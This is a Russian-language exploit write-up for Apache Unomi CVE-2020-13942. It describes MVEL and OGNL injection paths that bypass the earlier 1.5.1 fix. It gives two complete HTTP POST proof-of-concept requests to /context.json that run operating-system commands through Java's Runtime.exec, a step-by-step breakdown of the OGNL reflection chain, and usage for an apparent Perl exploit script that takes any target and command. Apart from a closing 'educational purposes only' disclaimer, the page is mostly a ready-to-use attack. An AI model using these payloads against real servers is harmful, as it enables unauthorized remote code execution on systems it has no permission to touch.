
Apache Unomi CVE-2020-13942: RCE Уязвимости
Оригинальная запись в блоге об уязвимости: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Существуют два вектора RCE: через внедрение MVEL и через внедрение OGNL. Оба вектора нацелены на разный код, хотя полезные нагрузки выглядят относительно похожими. Предыдущее исправление CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 пыталось ограничить выполнение выражений OGNL, но полностью упустило MVEL. CVE-2020-13942 обходит исправление, сделанное в версии 1.5.1.
Отправьте следующие HTTP-запросы с помощью BurpSuite или curl на context.js\json, предоставленный сервером Unomi, и получите RCE. Измените Host и Content-length в соответствии с целевым URL и командой ОС.
Оба POC могут получить HTTP/1.1 400 Header Folding в ответе, что означает, что \r\n в полезной нагрузке перепутаны, попробуйте скопировать и вставить еще раз.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
OGNL POC обошёл ограничение ClassLoader, введённое в версии 1.5.1. Используя Java reflections API, можно создать объект, не вызывая метод ClassLoader.loadClass, который ограничивает вычисляемые выражения OGNL.
Разбор полезной нагрузки выражений OGNL:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") создаёт объект класса java.lang.Runtime, где #this — это ссылка на контекстный объект.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] получает список методов класса Runtime через рефлексию и выбирает из списка метод getRuntime. Часть выражения {^ #this.name.equals(\"getRuntime\")} ищет метод с именем getRuntime и возвращает список методов, соответствующих условию; первый и единственный метод этого списка — getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) вызывает метод getRuntime() и получает объект Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) получает методы класса Runtime и извлекает Runtime.exec() с одним строковым аргументом из списка методов.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") вызывает Runtime.exec() с указанным аргументом.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
Базовое использование:
./apache_unomi.pl [options]
options:
./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]
[+]usage:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
Вся информация, предоставленная на этой странице, предназначена только для образовательных целей. Информация на этом сайте должна использоваться только для повышения безопасности ваших компьютерных систем, а не для проведения вредоносных или разрушительных атак.
Не следует злоупотреблять этой информацией для получения несанкционированного доступа к компьютерным системам. Также имейте в виду, что попытки взлома компьютеров, которые вам не принадлежат, без письменного разрешения владельцев, являются незаконными.
Я не несу ответственности за любой прямой или косвенный ущерб, причинённый в результате использования информации, предоставленной на этом сайте.